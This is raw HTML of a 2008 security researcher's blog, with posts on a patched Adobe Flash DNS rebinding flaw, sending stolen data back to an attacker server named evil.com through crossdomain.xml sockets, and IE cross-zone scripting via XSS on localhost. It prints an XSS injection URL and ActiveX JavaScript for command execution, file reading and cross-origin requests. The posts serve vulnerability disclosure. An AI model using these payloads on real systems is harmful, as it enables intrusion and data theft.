src="http://bp1.blogger.com/_E_3RnfZAsxE/R_zf1tRxDwI/AAAAAAAAAHE/kSPfPGRk0VU/s200/PWNED111.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5187266984604143362" /></a><br />There is one obvious issue with what I've described above: How do you get the information you've obtained through your nefarious means back to your server if you're the attacker? Now that the domain evil.com is rebound in Flash it doesn't seem like an easy proposition.<br /><br />That's where crossdomain.xml and the Socket class come in. If you have a crossdomain.xml file on your server and another domain name associated with that server, like 0mgurs0pwn3d.com, you can connect back and send the information you've stolen through binary (or probabably even XML) sockets.<br /><br />Like I mentioned before, <a href="http://natemcfeters.blogspot.com">Nate</a> and I used this exact flaw in our Picasa exploitation. I couldn't get traditional Anti-DNS Pinning working reliably so came up with this solution.<br><br><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18737993-4714369420227030373?l=r00tin.blogspot.com'/></div>Robhttp://www.blogger.com/profile/15811656706735141330noreply@blogger.com0tag:blogger.com,1999:blog-18737993.post-2863346041528197442008-04-09T08:50:00.014-05:002008-04-19T19:46:39.664-05:00Flash DNS Rebinding Flaw FixedWell, I guess I can talk about it now since they've fixed it. <a href="http://natemcfeters.blogspot.com">Nate</a> and I found a <a href="http://www.adobe.com/support/security/bulletins/apsb08-11.html">DNS rebinding</a> <a href="http://www.frsirt.com/english/advisories/2008/1158">flaw in</a> <a href="http://www.securitytracker.com/alerts/2008/Apr/1019807.html">Adobe Flash</a> that had to do with domain name canonicalization. I'm going to post a more in depth explanation of how it worked in the coming days but I'm too busy for that right now.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_E_3RnfZAsxE/R_zLkNRxDuI/AAAAAAAAAGs/OJS4aQ15OwA/s1600-h/adobe_flash.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_E_3RnfZAsxE/R_zLkNRxDuI/AAAAAAAAAGs/OJS4aQ15OwA/s200/adobe_flash.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5187244693723877090" /></a><br />Anyway, just a quick hint, this issue is actually the one we used to pull of our <a href="http://xs-sniper.com/blog/2007/08/20/say-cheeeeeese/">Picasa</a> <a href="http://xs-sniper.com/blog/Picasa-URI/">exploit</a> in a reliable fasion...<br /><br /><b><i>edit:</i></b> I would also like to point out that this is not <a href="http://www.gnucitizen.org/blog/hacking-the-interwebs/">the issue pdp found</a> that he used to exploit routers via CSRF. I think <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1654">the CVE</a> we are given credit for in the <a href="http://www.adobe.com/support/security/bulletins/apsb08-11.html">Adobe advisory</a> may be incorrect because it does not describe the vulnerability we discovered.<br /><br /><b><i>edit 2:</i></b> Apparently the CVE reference was a typo on Adobe's part. Should be fixed soon hopefully. Also, there were 7 separate vulnerabilities addressed in the patch that was released including <a href="http://www.zerodayinitiative.com/advisories/ZDI-08-021/">the flaw</a> used to bring the Vista system to its knees in Pwn2Own.<br /><br /><b><i>edit 3:</i></b> <a href="http://www.securityfocus.com/bid/28697">The CVE for the DNS Rebinding vulnerability</a> is CVE-2008-1655.<br><br><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18737993-286334604152819744?l=r00tin.blogspot.com'/></div>Robhttp://www.blogger.com/profile/15811656706735141330noreply@blogger.com0tag:blogger.com,1999:blog-18737993.post-86941863386676030072008-04-04T20:04:00.012-05:002008-04-30T10:04:03.717-05:00More On Local Web ServersJust thought I'd post a little discovery I made on the plane-ride home from San Jose. I was looking around in the C:\WINDOWS\system32\drivers\etc directory where the "hosts" file resides and found a file called "networks".<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_E_3RnfZAsxE/R_eh39RxDdI/AAAAAAAAADg/js2BnlnqGkA/s1600-h/etc.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_E_3RnfZAsxE/R_eh39RxDdI/AAAAAAAAADg/js2BnlnqGkA/s320/etc.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5185791478654373330" /></a><br />In this file there's a line that looks like this:<br /><br /><div style="background-color:#dddddd">loopback&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;127</div><br />Interesting. I fired up my little web server script that I wrote in Perl, entered "http://loopback" into the address bar of Internet Explorer and magically, I'm in the Local Intranet zone, our sweet spot from <a href="http://r00tin.blogspot.com/2008/03/local-web-servers-are-dangerous.html">my previous post on this topic</a>.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_E_3RnfZAsxE/R88A9HShf5I/AAAAAAAAACE/W0rUo65Z97M/s1600-h/local_intranet.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_E_3RnfZAsxE/R88A9HShf5I/AAAAAAAAACE/W0rUo65Z97M/s200/local_intranet.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5174355546800750482" /></a><br />So this is yet another way we can perform Cross Zone Scripting if there's an XSS on a locally running web server.<br><br><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18737993-8694186338667603007?l=r00tin.blogspot.com'/></div>Robhttp://www.blogger.com/profile/15811656706735141330noreply@blogger.com0tag:blogger.com,1999:blog-18737993.post-19732003960840694742008-03-30T16:30:00.008-05:002008-04-19T19:47:59.231-05:00I Survived!Well, I've safely returned to the States with some great memories and some new friends. As you can see below, I narrowly escaped Death.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_E_3RnfZAsxE/R_AGrNRxDWI/AAAAAAAAACk/QHkwdQGI7MI/s1600-h/DSCN0455_1.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_E_3RnfZAsxE/R_AGrNRxDWI/AAAAAAAAACk/QHkwdQGI7MI/s200/DSCN0455_1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5183650510471761250" /></a><br />I had an awesome time at <a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-main.html">Black Hat Europe</a>. I got to briefly meet <a href="http://www.phenoelit-us.org/">FX</a> finally. I saw his talk at <a href="http://www.blackhat.com/html/bh-dc-08/bh-dc-08-main.html">Black Hat Federal</a> on Cisco IOS and forensics and really enjoyed it. I also got to hang out with my good friends <a href="http://natemcfeters.blogspot.com">Nate</a>, <a href="http://xs-sniper.com">Billy</a>, <a href="http://www.dhanjani.com">Nitesh</a>, David and Tiller. Unfortunately, even though I've seen their presentation twice now I don't remember the URL for David and Tiller's blog.<br /><br />Anyway, I had a blast and as always I came away with a ton of new ideas.<br><br><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18737993-1973200396084069474?l=r00tin.blogspot.com'/></div>Robhttp://www.blogger.com/profile/15811656706735141330noreply@blogger.com0tag:blogger.com,1999:blog-18737993.post-42106866929148896492008-03-26T06:28:00.009-05:002008-04-19T19:45:49.600-05:00Black Hat EuropeAfter a nine hour flight and around four hours of sleep I'm finally in Amsterdam.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_E_3RnfZAsxE/R-oz8NRxDVI/AAAAAAAAACc/5Vhk_nJt1GM/s1600-h/DSCN0438_1.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_E_3RnfZAsxE/R-oz8NRxDVI/AAAAAAAAACc/5Vhk_nJt1GM/s200/DSCN0438_1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5182011430692523346" /></a><br />I've registered for Black Hat and taken in some of the sights that Amsterdam has to offer and am very much enjoying myself so far. <a href="http://natemcfeters.blogspot.com">Nate</a> and I walked down to the <a href="http://www.indewaag.nl/?English">Waag</a> yesterday. Apparently it's a restaurant that looks a bit like a small castle and used to be a weigh house, whatever that is.<br /><br />Too bad it's so cold here, but I come from a cold place so I guess I should stop whining. Can't wait for the <a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-schedule.html">talks</a> to start on Thursday!<br><br><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18737993-4210686692914889649?l=r00tin.blogspot.com'/></div>Robhttp://www.blogger.com/profile/15811656706735141330noreply@blogger.com0tag:blogger.com,1999:blog-18737993.post-6034286694278931342008-03-05T12:57:00.030-06:002008-06-25T21:53:43.340-05:00Local Web Servers Are Dangerous<i><b>edit:</b></i><br />Well, I found out that command execution and file access are not possible through the local intranet zone <b>using default settings</b>. Some of the machines I was testing turned out to have tweaked intranet settings. I should've checked that, but I'm correcting my mistake now. BUT! Check out <a href="http://heasman.blogspot.com/2008/06/stealing-password-hashes-with-java-and.html">John Heasman's post</a> on how to use Java in conjunction with the weaker security policy of the local intranet zone to steal password hashes.<br /><br /><br />The title of this post may seem fairly obvious to those of you in the computer security field. Having a web server running on your machine opens up a plethora of attack vectors; command injection, SQL injection, file upload vulnerabilities, etc. But what I'm posting about today is slightly different from anything else I've seen on the subject.<br /><br />What if there is a web application on the local web server that is vulnerable to XSS? And what if you are browsing from that machine? Are there any devastating attack vectors regarding this setup that you can think of? I can: Cross-Zone Scripting. The subject of cross-zone scripting has clearly been talked about before, but I'm not sure it's been talked about (at least that I've seen) in this particular context. Let me explain.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_E_3RnfZAsxE/R88ByXShf6I/AAAAAAAAACM/BvK4IxWp0JQ/s1600-h/xss.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_E_3RnfZAsxE/R88ByXShf6I/AAAAAAAAACM/BvK4IxWp0JQ/s200/xss.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5174356461628784546" /></a><br />There are a few zones in Internet Explorer that we're worried about for this attack. The Internet zone is pretty well restricted. It enforces the same-origin policy, doesn't allow you to load certain ActiveX objects and so on. The Local Intranet zone on the other hand is much less restricted. The Trusted zone is not very restricted either but requires user interaction to put us in that zone. And the Restricted zone is, obviously, very restricted. For brevity's sake, I'll just tell you that the Local Intranet zone is the zone we want to try to get our malicious payload into.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_E_3RnfZAsxE/R88A9HShf5I/AAAAAAAAACE/W0rUo65Z97M/s1600-h/local_intranet.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_E_3RnfZAsxE/R88A9HShf5I/AAAAAAAAACE/W0rUo65Z97M/s200/local_intranet.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5174355546800750482" /></a><br />Now, in the context of the scenario I just outlined above, how do we do this?<br /><br />There are <a href="http://support.microsoft.com/kb/174360">three different ways</a> we can get into the Local Intranet zone.<ul type="1"><li>The site must have been connected to previously using the Universal Naming Convention (\\1.2.3.4\share)</li><br /><li>The site must be in the proxy exceptions list</li><br /><li>The site cannot contain any dots (.) in its name</li></ul>Conditions 1 and 2 are going to be difficult to fulfill unless we're in possession of some 1337 ninja hacker 0dayz. Condition 3 is our ticket to mass bl00dy pwnage. At first glance it might seem like we're limited by the dot (.) predicate when we think of the local computer address. The IP 127.0.0.1 is in the internet zone because of the dots in the IP addressing format itself. But, the name "localhost" has no dots in it and just so happens to be in the Local Intranet zone.<br /><br />So if our attacker injects some malicious Javascript into our local web application like this:<br /><br /><div style="background-color:#dddddd">http://localhost/?&lt;script&gt;h=new%20ActiveXObject("Msxml2.XMLHTTP");....&lt;/script&gt;</div><br />That script will be executed in the Local Intranet zone. But what does that give us as far as pwnage vectors? <s>A lot</s>.<br /><ul><li>Same-origin is NOT enforced in the Local Intranet zone (IE 6 and 7)</li><br /><li><s>Can read and write files on the local system using a Scripting.FileSystemObject ActiveX object (IE 6)</s></li><br /><li><s>Can execute arbitrary commands on the local operating system using a WScript.Shell ActiveX object (IE 6)</s></li></ul>Ouch.<br /><br />Incidentally, this all ties in with the research I've been involved in with <a href="http://natemcfeters.blogspot.com">Nate</a> and <a href="http://xs-sniper.com">Billy</a> in the past, specifically with the <a href="http://xs-sniper.com/blog/2007/08/20/say-cheeeeeese/">Picasa</a> <a href="http://xs-sniper.com/blog/Picasa-URI/">exploit</a>. Always ask yourself, "why are these applications running web servers on my box?" You may not be able to think of a good answer.<br /><br /><i><b>edit:</b></i><br />I thought it might be nice to provide some Javascript code so anybody can try this.<br /><br /><b><s>Command Execution:</s></b><br /><div style="background-color:#dddddd"><s>a = new ActiveXObject("WScript.Shell");<br />a.run("notepad");</s></div><br /><b><s>File Access:</s></b><br /><div style="background-color:#dddddd"><s>a = new ActiveXObject("Scripting.FileSystemObject");<br />b = a.OpenTextFile("C:\boot.ini");<br />alert(b.ReadLine);</s></div><br /><b>XMLHTTP Request:</b><br /><div style="background-color:#dddddd">hr = new ActiveXObject("MSxml2.XMLHTTP");<br />hr.onreadystatechange = function() {<br />&nbsp;&nbsp;&nbsp;&nbsp;alert(hr.responseText);<br />}<br />hr.open("GET", "http://www.google.com", true);<br />hr.send(null);</div><br><br><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18737993-603428669427893134?l=r00tin.blogspot.com'/></div>Robhttp://www.blogger.com/profile/15811656706735141330noreply@blogger.com1